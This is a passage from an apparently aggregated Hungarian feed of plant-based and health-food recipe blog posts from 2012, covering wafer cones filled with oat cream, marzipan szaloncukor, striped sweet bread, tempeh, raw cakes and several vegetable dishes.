egyre inkább mellőzött utóbbi két termék által is állítottam elő ezeket a gyönyörűségeket. Remélem ízleni fog nekik.
UI: remake = Egy korábban készített (általában sikeres) film, televíziós filmsorozat, illetve egyéb termék (videojáték, képregény, esetleg regény) felújított változata (Idegen Szavak Gyűjteménye)
Remake jelen esetben a téli fagyit jelenti. Bizonyára sokan emlékeznek arra a tölcséres - kakaós krémmel töltött, csokiba mártott nyalánkságra. Néhol még látni "retro"-édességként a boltok polcain. Igazából nem voltam nagyon oda érte sosem, de a lehetőség, hogy valami csinosat, dekoratívat alkotok, azonnal felvillanyozott...
A recept:
Hozzávalók:
- 1 csomag ostyalap (6 lap volt az enyémben)
30 dkg zabpehely
2 maroknyi mogyoró (kb. 10-15 dkg)
1 maroknyi aszalt gyümölcs
2 narancs reszelt héja
gabonakávé
kakaópor
cukor"féleség" (gyümölcscukor, nyírfacukor, stevia, stb., de sima vagy barna cukor is jó)
víz
konyharuha
4 db ruhacsipesz
étcsoki (tortabevonó)
olaj
Remélem, semmit nem hagytam ki. :)
Elkészítés:
A zabpelyhet megpirítjuk, majd megőröljük. (Nem kell liszt-szerűre, jobb, ha durvább.)
A mogyorót durvára daráljuk (aprítjuk). FELÉT a zabpehelyhez adjuk. Az aszalt gyümölcsöket késsel, vagy aprítógéppel szintén felaprítjuk. Nekem házi aszalt almám és körtém volt. Kicsit nehezebben kezdetben, de végül jól vitte a gépem. Az összetört gyümölcsöket szintén hozzáadjuk a zabpehely és mogyoró együtteséhez. Majd szórunk bele kakaót (cukormenteset), édesítőszert (gyümölcs-, vagy nyírfacukor, stb.) és belereszeljük a két narancs héját. A száraz hozzávalókat összekeverjük, majd ráöntjük a gabonakávét. Nekem olyan gabonakávém van, amit le kell forrázni, majd átszűrni, így az átszűrést már eleve a száraz hozzávalókra végeztem el. Nagyjából 4-5 dl kávé kerülhetett a masszába. Ezt követően alaposan átkeverjük. Olyan állagúnak kell lennie, mint a darált-keksz alapú kókuszgolyó, vagy keksztekercsnek. (Zabpehely helyett dolgozhatunk darált keksszel is, de szerintem egészségesebb - nekem finomabb is a pirított zabpehely.)
Amikor mindezzel kész vagyunk és összeállt a massza, elkészítjük a tölcséreket. Fogunk egy széles karimájú alacsony edényt, és kb. 3/4 részig megtöltjük vízzel. Felforraljuk. Amikor forr, őrlángra, vagy legkisebb fokozatú villanyra vesszük. Egy konyharuhát kettéhajtunk és négy db ruhacsipesszel az edény tetejére rögzítjük a ruhát.
Az ostyalapokat felvágjuk háromszög alakúakra. Először csak az egyik lapot, mert lesz időnk arra, hogy az egészet felvágjuk. A konyharuha tetejére fektetjük a háromszögeket és a felfelé áramló gőzzel megpuhítjuk. Érdemes ügyelni arra, hogy ne puhuljon túlzottan meg, mert annál nehezebben fog megszikkadni.
A megpuhult háromszögeket egymásra hajtjuk úgy, hogy egy tölcsért kapjunk. A tölcsér alját összeszorítjuk, a két végét, amit egymásra hajtottunk, egymásra nyomkodjuk. Ha szükséges, használhatunk hozzá fakanalat.
Azok, akik kevésbé merészek, vagy csekélyebb kézügyességgel rendelkeznek, próbálják ki először papírral. Egy post-itből vagy jegyzetlapból már lehet olyan háromszöget kivágni, ami legalább egyenlő szárú. (Nekem erre nem volt szükségem.)
A kész "tölcséreket" egy tányérra tesszük, mire az összeset felvágjuk, meggőzöljük, összehajtjuk, addigra szép lassan visszakeményednek - de már tölcsér formában.
Attól függően, hogy egy lapból hány háromszöget vágunk ki - több, vagy kevesebb; nagyobb vagy kisebb tölcséreink lesznek.
Amikor kész az összes tölcsér, egyszerűen csak megtöltjük őket a korábban elkészített masszával. Én teáskanál másik végével adagoltam bele a tésztát.
Miután mindet megtöltöttük, kb. 70 gramm étcsokit vagy tortabevonót megolvasztunk, hozzákeverünk két-három evőkanál olajat és a tölcsérek szélesebb végét belemártjuk. Ezt követően vagy belemártjuk az aprított mogyoró másik felébe, vagy egyszerűen csak megszórjuk a csokis részt mogyoróval.
Hűtőben egy-két óra alatt megdermed és már fogyasztható is.
Még egy titkot elárulok ezzel kapcsolatban. Ha nem akarunk a tölcsérekkel "macerázni", egyszerűen golyókat is formázhatunk a masszából. Frenetikusan finom - egyfajta karácsonyi íze lett a narancstól. A golyókat megtölthetjük mandarin vagy narancsdarabokkal. (Én a mandarint választottam.) Ha azonnal kókuszba vagy aprított mogyoróba hempergetjük, akkor felveszik a külsejükre, máskülönben csokiba mártva szintén díszíthetjük még kókusszal vagy mogyoróval. Mivel a tésztából maradt még némi, a maradékból ilyen gömböcskéket formáltam. Csak nehogy Gombóc Artúr az éjszaka meglátogasson! :)))
Jó hír: kakaó helyett karobbal is elkészíthető. - Igazi reformosoknak inkább azt a verziót ajánlom.
Kézműves reform kekszek
2012. december 18. Lét-tudatos konyha
- Kézzel készített kekszek - Reform alapanyagokból: teljes kiőrlésű búza- vagy tönkölybúzaliszt, nádcukor, pálma- vagy kókuszzsír A következő ízesítésekben kaphatók: - mézeskalácsos (hagyományos vagy aprósütemény méretű) - mákos - diós - zabpehely-sütőtökös - kókuszos - kakaós - karobos (szentjánoskenyérmagpor) - sós-lenmagos Érdeklődni: renata.kalman*kukac*lettudatos.com
Szaloncukor - Narancsos marcipán
2012. december 15. Fittanyuka Blog
A szaloncukorról most már elmondhatjuk, hogy igazi hungaricum. Habár az én gyermekkoromból nincsenek szép emlékeim a szaloncukorról. Ennek az egyik oka, hogy Erdélyben mi is ugyanígy a magyar szokások szerint tartottuk a Karácsonyt, de mivel Romániában nem ismerték el a magyar szokásokat ezért szaloncukrot sem árusítottak sehol. Ezért házi szaloncukor volt mindenkinél, ami valamiféle olvasztott cukor volt selyempapírba csomagolva, amelybe gyerekként majdnem beletört a fogunk. Ráadásul inkább csak szimbólumként lógtak, kőkeményen a fán, mert nagymamám gondosan évente újracsomagolta őket. Én nem rajongtam értük, ezért nemis kísértettem a sorsot, ellenben az öcsém:). Ha akkor ezt a receptet átadhattam volna a nagyimnak... Másik emlékem amikor kisiskolásként, király lány jelmez hiányában anyukám legnagyobb csalódásom ellenére szaloncukornak öltöztetett:)) Nézzük a receptet: Ez már a nyers édesség kategóriába tartozik, könnyen, gyorsan elkészíthető. Csomagolhatjuk saját kezűleg dekorált selyempapírba, vagy csomagolás nélkül akár csak a fa alá is tehetjük. Hozzávalók ( kb. 30 darab) 250g darált mandula ( mandula liszt) 60 g nyírfacukor porrá darálva 2 teáskanál útifűmaghéj őrlemény 5-6 csepp bio narancsolaj ( sütéshez való) 1 evőkanál kókusz olaj 1/2 bio narancs reszelt héja késhegyni őrölt bourbon vanília 100 ml meleg víz 150 g Étcsokoládé bevonó Először a mandula lisztet összekeverjük a por nyírcukorral, vaníliával, reszelt narancs héjával, útifűmaghéj őrleménnyel, majd hozzáadjuk a meleg vizet. Kézzel is átdolgozhatjuk, de homogénebb masszát kapunk ha kézi robot gép segítségével kicsit összedolgozzuk. Hűtőbe pihentetjük minimum fél órát. Nedves kézzel újra átgyúrjuk a masszát és hengert formálunk olyan vastagságút amilyen vastag szaloncukrokat szeretnénk. Késsel feldaraboljuk a hengert és a félkész szaloncukrokat egy tálra helyezzük. Mélyhűtőbe helyezzük őket kb. 10 percre. Víz gőz felett felolvasztjuk az étcsokoládé bevonót és a szaloncukrokat egyenként belemártjuk, majd sütő papírra helyezzük őket. Ha megdermedt a csoki réteg csomagolhatjuk. Hűvös helyen tároljuk, de nem fontos hűtő szekrényben. Tipp: Az a tapasztalatom, hogy más olajosmag őrleménnyel készítve, akár vegyesen is nagyon finom az összhatás! Pl: darált dió, török mogyoró. Fittanyuka
Csíkos kalács (karobos vagy kakós csíkkal)
Ha ránézek egy ilyesmi kalácsra, mindig gyermekkoromat idézi. Valami olyasmi rémlik, hogy az egyik szomszédból nálunk aludtak a gyerekek (Bubesz és a húga), és reggelire csíkos kalácsot ettünk kakaóval. Persze akkor még mit sem tudtam arról, hogy kakaó helyett karob is létezik, ráadásul egészségesebb is. Aztán hosszú időn keresztül nincs emlékem arról, hogy ilyen kalácsot ettem volna. Egészen egy házilag sült kalácsig. Az a nagymama, aki vér szerint nem a nagymamám, de mégis mama - azon a bizonyos szőlőhegyi településen - Ő sütött még ilyen kalácsot, na meg kakaós, diós kalácsot is. Ha jól tudom, amúgy is egy TSZ konyháján dolgozott... De akkor már általános iskolás voltam. Szóval akkor is az óvodáskorombeli reggeli az első emlékem az ilyen kaláccsal. Persze, mióta házasságban élek, már jó pár alkalommal készítettem ilyen-olyan kalácsot. Készült "kocka" formában, amilyenre emlékszem gyermekkoromból, s mostanság inkább fogom a kerek formát és abban készítem el. Igazából szerintem nincs sok munka vele.
A recept:
Hozzávalók:
- 2,7 dkg friss élesztő
- 3,5 dl meleg növényi tej (pl: kókusztej)
- 25 dkg teljes kiőrlésű liszt
- 35 dkg fehér liszt (BL-55)
- 0.5 dkg só
- 8-10 dkg gyümölcscukor vagy nyírfacukor vagy ki mivel édesít
- 3 dkg őrölt lenmag (elhagyható)
- kakaó vagy karobpor
- víz
- 2 evőkanál olaj
Elkészítés:
A kenyérsütő üstjébe belemorzsoljuk az élesztőt, hozzáadunk kb. 1 evőkanál édesítő szert, majd ráöntjük a növényi tejet. (Ha nem meleg, előtte kézmelegre melegítjük.)
Várunk egy rövid ideig, míg az élesztő feloldódik a tej tetejére.
Közben elővesszük a többi hozzávalót.
Mikor feloldódott az élesztő, a fenti sorrendben hozzáadjuk a többi anyagot is, kivéve a karobport. (Ha kókusztejet készítünk, a visszamaradt kókuszt bele is tehetjük, de ki is hagyhatjuk.
Beletesszük a kenyérsütő gépbe és a dagasztó-kelesztő programot beállítva a gép elvégzi a dagasztást, kelesztést. Amikor kész a tészta, kivesszük, elfelezzük és az egyik felét még visszatesszük az üstbe, szórunk hozzá kakaót vagy karobport, valamint egy kevés édesítő szert.
Én mindegyik tésztához adtam biocsicsókát is, de ezt annak ajánlom, aki el akarja kerülni a cukorbetegséget vagy a hirtelen vércukor-szint ingadozást. Nem kell ahhoz betegnek lenni, hogy erre tudatosan figyeljen az ember. Ha nem is vagyunk cukorbetegek, akkor pláne érdemes megfontolni, mivel és hogyan édesítünk, ha felmenőink között volt cukorbeteg dédszülő, nagyszülő, vagy esetleg szülő. Ezt azért is írom le, mert statisztikáimból látom, hogy blogomon gyakran olvasnak és keresnek erről szóló írásokat. Nem hiába, alattomos kór ez, és hazánkban egyre többen, a világon szintén napról napra növekszik a cukorbetegek száma. Ráadásul arról a rétegről csak becslés lehet, akik nem mennek el kivizsgáltatni magukat.
Visszatérve a tésztához. A karobos (kakaós) tésztát is a kenyérsütővel kevertetem össze, míg a fehér tésztát gyúródeszkán kinyújtom. Amikor kész a barna tészta, eleinte a kezünkkel lapítjuk, húzzuk szét a tésztát, majd a fehérre téve a sodrófa segítségével. Így máris egymáson helyezkedik el a fehér és barna tészta, és egyszerűen csak felcsavarjuk, sütőpapírral bélelt formába tesszük, kelesztjük még 20-30 percet és megkenjük egy kevés vízzel vagy növényi tejjel. Kb. 35 perc alatt előre felmelegített sütőben (kb. 180 fokon) készre sütjük. Tűpróbával ellenőrizzük. Ha megsült, a tészta nem ragad a tűre (vagy a késhegyre). Megvárjuk, míg kicsit kihűl, megszikkad a kalács a formában, és csak ezt követően szedjük ki.
Vendégváró falatnak is szuper, de megsüthetjük előző este másnapi reggelihez, utazáshoz, a gyerekeknek (házastársnak és magunknak is) elcsomagolhatjuk reggelire.
Azért azt ajánlom, bánjunk óvatosan a rendszeres kelt-tészta fogyasztással! Testünknek elsősorban nyers növényi zöld színű és színes zöldségekre van szüksége. Ezért nem ajánlom a rendszeres elkészítését, de mint tudjuk, ünnepek közelednek, végül is ez is kerülhet az ünnepi asztalra.
Fekete borsos fokhagymás karfiol tempeh
2012. december 9. Zizi kalandjai
Mi ez a képen szereplő fura élelmiszer? A kérdést feltettem már nektek korábban is a Facebook oldalon és néhányan ki is találták, hogy ez bizony tempeh. A tempeht már elméletben ismertem, nagyon sokat olvastam róla, rengeteg receptet találtam a neten - mivel itthon egyáltalán nem találtam sehol tempeht, ezért nem tudtam kipróbálni -, de csak az idén novemberben találkoztam vele először. Köszönet érte Tempeh Gurunak, aki biztosított számomra néhány csomagot, hogy megismerkedjek ezzel az egészséges élelmiszerrel.
A tempeh főtt szójababból készülő, nemes penészes érleléssel előállított élelmiszer (Tempeh Guru 99,95%-ban hazai alapanyagból készíti étkezési célra, bio szójából). A tempeh roppant tápláló, teljes értékű fehérjeforrás, amelyben az összes szükséges aminosav megtalálható. Az érlelési eljárás során a termék természetes antibiotikumokkal és az emésztést elősegítő enzimekkel gazdagodik, miközben megőrzi a szójabab rostjait, a szaponinokat és a jótékony hatású szója-izoflavonoidokat.
Nagyon hasonlít a tofuhoz, felhasználása is ugyanolyan széleskörű, azonban az íze markánsabb. Eredetét tekintve Indonéziából származik - ezt I. is alátámasztja, ugyanis utazásai során, Indonéziában nagyon sok tempehből készült ételt evett.
Néhány üzletben már kapható a tempeh vagy megrendelhető online, azonban, ha nem juttok hozzá, helyettesítsétek tofuval. Ez a fekete borsos, enyhén csípős karfiolos tempeh ragu megmozgatja az ízlelőbimbókat, szóval feltétlenül érdemes kipróbálni!
Fekete borsos fokhagymás karfiol tempeh
Hozzávalók 4 főre:
- 250 g tempeh, vékony csíkokra felszeletelve
- 340 g karfiol, apró rózsákra felaprítva
- 3 közepes fej lilahagyma, felaprítva
- 10 nagy gerezd fokhagyma, fokhagymapréssel összenyomva
- 1 evőkanál friss, hámozott, reszelt gyömbér
- 1 teáskanál chili pehely (vagy ízlés szerint friss chili)
- 1 teáskanál fekete bors
- 3 evőkanál szójaszósz
- 2 evőkanál víz + még több a főzés során
- 20 g nádcukor
- 3 evőkanál kókuszolaj vagy olívaolaj
Egy nagy serpenyőben hevítsük fel a kókuszolajat, majd dinszteljük meg rajta a lilahagymát. Közben adjuk hozzá a chili pelyhet, a fokhagymát és a gyömbért. Alacsony lángon főzzük kb. 10 percig úgy, hogy ne égjen meg.
Egy kis tálkában keverjük össze a szójaszószt a cukorral és vízzel.
Vegyük erősebbre a lángot, majd adjuk a fokhagymás keverékhez a csíkokra szelt tempeht. Jól keverjük át, hogy a tempeht mindenhol befedje a fokhagymás alap. Öntsük hozzá a szójaszószos cukros vizet, főzzük 2-3 percig, majd adjuk hozzá a karfiolt. Keverjük meg, tegyünk rá fedőt és főzzük 5 percig. Ezután vegyük le a fedőt és főzzük, pirítsuk addig, amíg a tempeh és a karfiol kicsit megpirul. Adjunk még hozzá 2-3 evőkanál vizet, hogy ne égjen le. A végén zárjuk el alatta a gázt és szórjuk meg a fekete borssal.
Tálaljuk azonnal. Mi főtt barnarizzsel ettük.
Megrendelhető nyers sütik
2012. december 6. Nyersétel akadémia
Ünnepi alkalomra rendelj nyers sütiket a Nyersétel Akadémiától!
Termékeink nem tartalmaznak cukrot, lisztet, tojást, tejterméket!
Áraink:
Torták: 11 cm-es: 2400 Ft, 17 cm-es: 5600 Ft
Zserbó: 4800 Ft (18×18 cm)
Mákos tekercs, kókuszos tekercs: 3200 Ft (18 cm)
A rendelést feladhatod a rendeles@nyersetelakademia.hu címen
Vidékre előzetes egyeztetés alapján tudunk csomagot küldeni, (nem minden terméket, csomagolás miatt)
Torták: Narancsos-csokis, kókuszos-csokis, csokis, és mákos-almás. Ezek csokis alappal készülnek (mandula, datolya, kakaópor), és az alsó réteg valamilyen ízesítésű (kókuszos, narancsos), a második réteg pedig kakaós-datolyás. Egyéni kérés szerint elkészítjük méz nélkül.
Narancsos csokis torta:
Kókuszos csokitorta
Felvágva:
Csokitorta: (gyümölcs nélkül, csak csoki)
Mákos-almás torta: (igazi karácsonyi ízvilág, nem csokis!)
Kókuszos tekercs:
Mákos tekercs
:
Zserbó:
Hóesés és karfiol leves
Minden tél elején lelkesen közlöm, hogy leesett a hó. Idén az első nagy hó a cukros vérvétel napjához kötődik, Pesten is iszonyúan szakadt. Amikor végeztem, felhívtam a lányokat, hogy felmenjek Mátraházára, vagy ellesznek, de azt mondták, örülnek, ha ők le tudnak jönni a hegyről, önként ne menjen senki arra. :) Az a hó viszont másnapra már csak nyomokban volt meg, míg ez a mostani a faggyal karöltve napok óta tartja magát, és még lesz utánpótlása is. Holnap lehet, hogy felviszem a gépet, mert mint mindig, a zordsága ellenére gyönyörű tud lenni. Először is lehúzza a két nagy tiszafa ágait, megrakódik a korlátokon, az ott parkoló autókon, belepi a a betonplaccokat, elrejti a csúnyaságokat. Azután ha épületen kívülre nézünk, a hatalmas fenyők roskadásig gyűjtik a hatalmas legyező ágaikra a havat, a kopasz fák ágait beburkolja a vastag hóréteg. Másnapra a tiszta fehér hóban vékony tappancsok nyomai húzódnak itt is ott is, vagyis a mókusok feléledtek. Meg a macskák is. :) Nagyon nehéz bármit is írni róla, mert ha az ember ott áll, és bámulja, egészen fura érzések töltik el. Olyankor az egész környéknek még a hangjai is mások, olyan puha csöndes minden. Nem süket csönd, mégis, mintha elvesznének a hangok... Ebéd közben ma hátrafelé nézelődtem, akkor kezdett újra szállingózni a hó. Kicsit kikapcsolt a taposómalomból, és megnyugtatott. A Teremtő bölcsessége szerencsére nem emberi, akármilyen csúnya és hideg a tél, megvan a maga feladata, és szépsége is egyben. És mindenben egyre inkább tapasztalom, hogy nem véletlenül vannak úgy a dolgok, ahogyan. Mindennek megvan a maga értelme, és oka, még ha abban a pillanatban nem is vagyok képes belátni. No, de ha már ennyit dumáltam, vissza kellene térni a konyhára. Keveset főzök mostanában, s ha igen is, ismétlek. Nagyon kevés időm van rá, vagy ha van nem bírom rávenni magam, csak olyanokra, mint a héjában főtt krumpli készítése. (Lásd a mai napot.) Tegnap a mindenki által kedvelt hajdinás süti is készült, mondjuk azzal tovább szöszöltem, de ma már nem fért bele. Nemsoká megyek inkább, és bebújok az ágyba olvasni. A kis kópé jelez, hogy jobb lesz ledőlni inkább, egész nap rohangáltunk. Szóval az ebéd karfiol leves volt, békési módra. Azért békési, mert ezt a tejes megoldással csak az ottaniaknál találkoztam. Anyával készítettük, így az elején rántással indult, de javasolom helyette a szójatej + liszt keverék hozzáadását az utolsó 15 percben. Karfiol leves békési módra Hozzávalók: 1 nagy fej karfiol 3 nagyobb répa 4 ek tk liszt 1 bögre szójatej 2 ek olivaolaj / 1 tk kókuszzsír 1 csokor petrezselyem zöld 1 ek só Ha nagyon hagyományosak akarunk lenni, készíthetünk rántást. Mivel nem túl egészséges, lehet úgy javítani rajta, hogy a lisztet szárazon megpirítjuk, majd hozzákeverjük az olajat, a petrezselyem zöldet, és felengedjük vízzel. Majd beletesszük a répát, a sót, majd 1/4 óra elteltével a karfiolt is. Időnként kavargatjuk. Mikorra megpuhulnak a zöldségek, hozzáadjuk a tejet, összeforraljuk az egészet, és készen is van. Ahogyan fentebb írtam, máshogyan is elkészíthetjük. Ez esetben a kókuszzsíron a petrezselyem zöldjét kicsit megforgatjuk, majd beletesszük az apróra vágott répát. Felengedjük vízzel, sózzuk. Kb. 1/4 óra múlva hozzáadjuk a kis rózsáira szedett karfiolt is. Amikor már majdnem megpuhultak a zöldségek, a szójatejet összekeverhetjük a liszttel, és hozzákeverjük a leveshez. Sűrűn kavargatva főzzük 10-15 percet.
Chia magos mangópüré kuszkusszal
Az alábbi receptet Sturcz Georginától kaptuk, (mert annyira tetszett, hogy elkértem Tőle hálásan köszönjük ezt a finom desszert ötletet. Szükségünk lesz: 1 kisebb bögre bio teljes kiőrlésű kuszkuszra 1 nagyobb érett mangóra 2 teáskanál chia magra Fél deciliter kókusztejre (vagy bármilyen növényi eredetű tejre) ízlés szerint őrölt fahéjra és gyömbérre A recept a következő: A kuszkuszhoz lobogó forró vizet öntünk,hogy rendesen ellepje,majd lefedve 5 percet állni hagyjuk.Ez idő alatt megpucoljuk az érett mangónkat és összeturmixoljuk,majd ízlés szerint rakunk bele őrölt fahéjat és őrölt gyömbért.Ezt megint összeturmixoljuk. Ezután két teáskanál chia magot rakunk bele a pürénkbe ,majd egy fél deciliter kókusztejet öntünk hozzá és jól elkeverjük.A Pohár aljára először a kuszkusz kerül ,majd ráöntjük a kész manópürénket. A hűtőben 15 percet pihentetjük és már fogyaszthatjuk is.. Jó étvágyat!
Hajdina-gombóc pirított káposztával
Mondtam tegnap, hogy nagyon sok lett az a gombócka a levesbe, íme a másik hasznosítása Hozzávalók: 1 kisebb fej káposzta 1 ek kókuszzsír 1 tk tiszta só 1 tk őrölt bors (kb) A káposztának leszedjük a külső leveleit, majd a robotgéppel lereszeltetjük Besózzuk, és 10-15 percre a sorsára hagyjuk Addig előkészülünk a gombócokhoz, amik megegyeznek [...]
Reform kókuszgolyó
2012. november 26. Fittanyuka Blog
Ez a közkedvelt kókuszgolyó recept annyira egyszerű, hogy akár a gyerekekkel együtt is készíthetjük. Nagy előnye, amellett hogy könnyen elkészíthető, hogy ez egy nyers desszert. Két fő összetevője van : a zabpehely és az alma. Hozzávalók: (kb. 30 db golyó) 10 dkg aprószemű,-lágy zabpehely 10 dkg kókuszreszelék 30 dkg lédús alma 1 evőkanál kakaópor késhegynyi őrölt fahéj édesítve mézzel vagy agave sziruppal ízlés szerint Az almát apró lyukú sajtreszelőn lereszeljük, hozzákeverjük a zabpelyhet, fahéjat, kókuszreszeléket, kakaót, édesítjük ízlés szerint. Hagyjuk fél órát halni, hogy a zabpehely magába szívja az alma nedvességét. Vizes kézzel golyócskákat formázunk és kókuszreszelékben meghempergetjük őket. Fittanyuka
Pirított köles saláta fokhagymás sütőtökkel és tofuval
2012. november 19. Zizi kalandjai
Most, hogy bevezettelek benneteket a tofu rejtelmeibe, íme jöjjön egy tofus recept. Készítettem már ilyen meleg, tápláló, gabonával dúsított, vitaminokban gazdag salátát korábban is. Laktató, energiát ad és kiváló arra is, hogy másnap bevigyük a munkahelyünkre ebédre. Én az ilyeneket következő nap meg se melegítem, csak szobahőmérsékletű állapotban fogyasztom.
A köles a legősibb termesztett gabonaféle, Kínában már a rizs fogyasztása előtt fő élelem forrás volt. Szénhidrát-tartalmának jelentős hányada (72%) keményítő, ami szervezetünk számára egy igen jól hasznosítható energiaforrás. A köles fehérje tartalma 10-15%. Vitaminokban és ásványi anyagokban gazdag. Héjában és a héj alatti részben B-vitamin, míg csírájában nagy mennyiségű E-vitamin található. Igen sok kovasavat tartalmaz, továbbá fluort, ként, foszfort, vasat, magnéziumot, káliumot, cinket stb. (Forrás: Jó egészséget!) Tehát érdemes belőle minél többet fogyasztanunk.
Számomra az étel különlegességet az adta, hogy a kölest főzés előtt egy kicsit megpirítottam, ami megváltoztatta az ízét. A köles pirításának ötletét egyik legújabb szakácskönyvemből a Sprouted Kitchen-ből vettem. Került mellé fokhagymával megpirított sütőtök és tofu, valamint a végén tahinis-citromos-chilis szósszal locsoltam meg. Hmmm... mennyei!
A receptet Kata barátnőmnek dedikálom, aki odavan a sós ételekért (jobban, mint az édesekért). Ha túl sok az édes recept a blogomon, ő az, aki mindig felhívja a figyelmemet rá, hogy épp itt az ideje egy sósat is feltennem végre. Kata, na ezt főzd meg! :)
Pirított köles saláta fokhagymás sütőtökkel és tofuval
Hozzávalók:
- 150 g köles
- 300 g kemény tofu, felesleges víz kipréselve belőle
- 350 g sütőtök, meghámozva, felkockázva
- 3 gerezd fokhagyma, felaprítva
- 4 evőkanál tahini (szezámmag krém)
- 2 teáskanál szójaszósz
- 1 teáskanál chili pehely (friss chili is használható ízlés szerint)
- 2 teáskanál sörélesztő pehely (opcionális, kihagyható)
- 1 db citrom leve
- só, bors
- kókuszolaj vagy olívaolaj
Száraz serpenyőben pirítsuk meg a kölest 5 perc alatt. A tofuból préseljük ki a felesleges folyadékot, vágjuk kockákra, a sütőtököt pedig hámozzuk meg és szintén kockázzuk fel (tofuval megegyező méretűre). A sütőt melegítsük elő 180 fokra.
Tegyük egy tepsibe a tofut és a sütőtököt, sózzuk és borsozzuk meg, locsoljuk meg 2 evőkanál kókuszolajjal és 180 fokon pirítsuk meg kb. 20 perc alatt. 10 perc eltelte után szórjuk rá a felaprított fokhagymát és süssük együtt a végéig. Közben egy lábasban fél liter sós vízben főzzük meg a kölest, majd tegyük félre.
Egy tálkában keverjük össze a tahinit, a citromlével, a szójaszósszal, a chilivel és a sörélesztő pehellyel (ez enyhén sajtos ízt ad neki, valamint a sörélesztő kiváló B12 vitamin forrás).
Egy nagy tálban keverjük össze a főtt kölest, a fokhagymás sütőtökkel és tofuval, locsoljuk meg az öntettel és tálaljuk azonnal.
Sok zöldséges pizza
2012. november 11. Fittanyuka Blog
Gluténmentes, szénhidrát-csökkentett, élesztőmentes - anticandidás, magas rosttartalmú Szegény pizzát sok atrocitás éri, hogy nem tartozik az egészséges ételek közé, pedig csak az alapanyagok kiválasztásán múlik, hogy egészséges lesz-e a végeredmény vagy sem?! Emlékszem, hogy amikor először ettem Olaszországban pizzát csodálkoztam, hogy milyen vékony a tésztája és a húsmentes változaton a brokkolitól kezdve a spenótig telis-tele volt rakva zöldségekkel. Hidegen sajtolt olíva olajjal meglocsolva, friss bazsalikommal, az volt életem legfinomabb pizzája:) Az alábbi recept gluténmentes, hogy azoknak is kedvezzünk akik valamilyen oknál fogva nem fogyasztják a gluténtartalmú ételeket. Habár ha nincsen érzékenység bátran fogyaszthatjátok a tönkölylisztet , akár a pizza tészta elkészítéséhez. A tönköly kivételesen gazdag ásványianyagokban, növényi fehérjékben és nem utolsó sorban a magyar ősgabona! Nem egyenlő a sima búzaliszttel. Tehát a mi gabonánk, amely az itt élő emberek egyik értékes tápláléka. Tönkölylisztből készült pizza tészta recept: Itt! A fenti pizzát este is fogyaszthatjuk, én több zöldséget pakoltam rá, mint maga a tészta vastagsága. Hozzávalók: ( 4 fő részére) Tészta: 150 g mandula liszt 150 g kölesliszt 100 g rizsliszt 100 ml kókusz olaj 1 kk himalaya só 1 zacskó foszfátmentes sütőpor 2 evőkanál útifűmaghéj őrlemény ( ez egy magas rosttartalmú növény), ennek hozzáadásával a tészta kevésbé lesz száraz, morzsalékos. 100 ml víz: a vizet apránként adagoljuk hozzá, mert az útifűmaghéj miatt gyorsan magába szívja a nedvességet. Először összekeverjük a száraz összetevőket, majd jöhet az olaj és a víz. Lehet, hogy szükséges lesz még hozzáönteni kevés vizet, mert a növényi rostok sok nedvességet magukba szívnak. A cél, hogy gyúrható tésztát kapjunk. A tésztát 1 órát a hűtőben pihentetjük. Feltét: Ízlés szerinti zöldségek: paradicsom, paprika, hagyma, cukkini, stb. Növényi sajt: Soyaproduct, vagy Viofast termékek, utóbbi szójamentes! Paradicsomszósz: 3-4 db paradicsomot 3 evőkanál hidegen sajtolt oliva olaj 1 kk szárított bazsalikom, 1 kk oregáno 1 kk himalaya só 1-2 cikk fokhagyma késhegynyi nyírfacukor Ezt a paradicsomszószt, most ne főzzük, csak a felaprított paradicsomot turmixoljuk össze a többi hozzávalóval és adjuk hozzá a préselt fokhagymát. A tésztát lisztezett deszkán nyújtsuk ki 1 cm-vastagságura. Nem állítom, hogy könnyű vele dolgozni, de ha nem marad egyben nyomkodjuk bele a tepsibe. Öntsük rá a szószt, pakoljuk rá kedvenc zöldségeinket. Én a paprikát, hagymát, cukkinit szeletelő segítségével hajszálvékonyra szeleteltem. A szeletelt növényi sajtot pedig tegyük szintén a tetejére és előmelegített sütőben 180 C fokon süssük 20-25 percig.Fittanyuka
Bundás banán
2012. november 7. Nyers konyha
Valami már megint az eszembe jutott:) Bundás banán: banán mag tej panír: mák, kókuszdara, fahéj, kakaópor.... Maradt mák tejem. Szeleteltem banánt, amit megúsztattam a tejben majd megforgattam minden féle finomságban. Lett mákos, nyers kakaós, kókuszos, fahéjas- kókuszos.... Emmácska meglátva miben mesterkedek segítségemre sietett és együtt alkotgattunk. A banánkarikákat fogpiszkálóval mozgattam tejből, panírba, majd rá a papírra, az aszaló lapjára. Természetesen frissiben is lehet fogyasztgatni, kb. 1 óra aszalás után szuperül rászárad és ragad a panír a banánra, ha hosszabb időre eltárolnánk aszaljuk tovább minimum 1 éjszakát. A tejet lehet ízesíteni is vaníliával esetleg édesíteni.....a többit a fantáziádra bízom... Nekem a mákos a kedvencem, banán ropogós mákszemekkel, hát nem édes a bundájuk!:)
Csokis-kókuszos
Egy gyors , enzim dús, nyers nasi az ünnepek alatt is jár Hozzávalók személyenként: 1 marék zabpehely 2 ek kókuszreszelék 1 csipetnyi só 1 tk bio méz annyi víz, hogy ellepje Csokiöntet: 1 banán 1 tk bio kakaópor A zabpelyhet összekeverjük a kókusszal és a vízzel. Amíg megszívja magát, elkészítjük a csokikrémet: A banánt és [...]
Sült töltött paprika
2012. október 28. Fittanyuka Blog
A sült paprika zamatát már gyermekkoromban nagyon szerettem, ugyanis Erdélyben anyukám sokszor készítette, leginkább nyáron és ősszel. Kísérőként fogyasztottuk főétel mellé. Ez a recept most előtérbe helyezi a sült paprikát, ugyanis megtöltöttük, így lehet egy főétel, önmagában köret nélkül pedig előétel. A töltelék nem más, mint a másik nagy kedvencem a csicseriborsó. Enyhén diós íze illik a paprikához, igazi őszi ízkombó! Hozzávalók ( 4 fő részére): 8 db kápia paprika 250 g főtt csicseriborsó 1 db vöröshagyma 100 ml paradicsom szósz 1 kk himalaya só 1/2 kk római kömény 1 kk szárított bazsalikom 1 cikk fokhagyma 2-3 evőkanál kókusz olaj Tejfölös Öntet: 200 ml növényi tejszín 1/2 citrom leve 1/2 kk himalaya só 1 evőkanál hidegen sajtolt lenmag olaj A hozzávalókat összekeverjük. Növényi sajt A paprikákat megmossuk, megszurkáljuk őket és sütőlapra helyezzük, előmelegített sütőben 180 C fokon sütjük kb. 20-25 percig. Félidőben átforgatjuk. Közben elkészítjük a tölteléket: A felaprított hagymát a kókusz olajon üvegesre dinszteljük, hozzáadjuk az előre megfőzött, lecsöpögtettett csicseriborsót, felöntjük a paradicsomszószal és 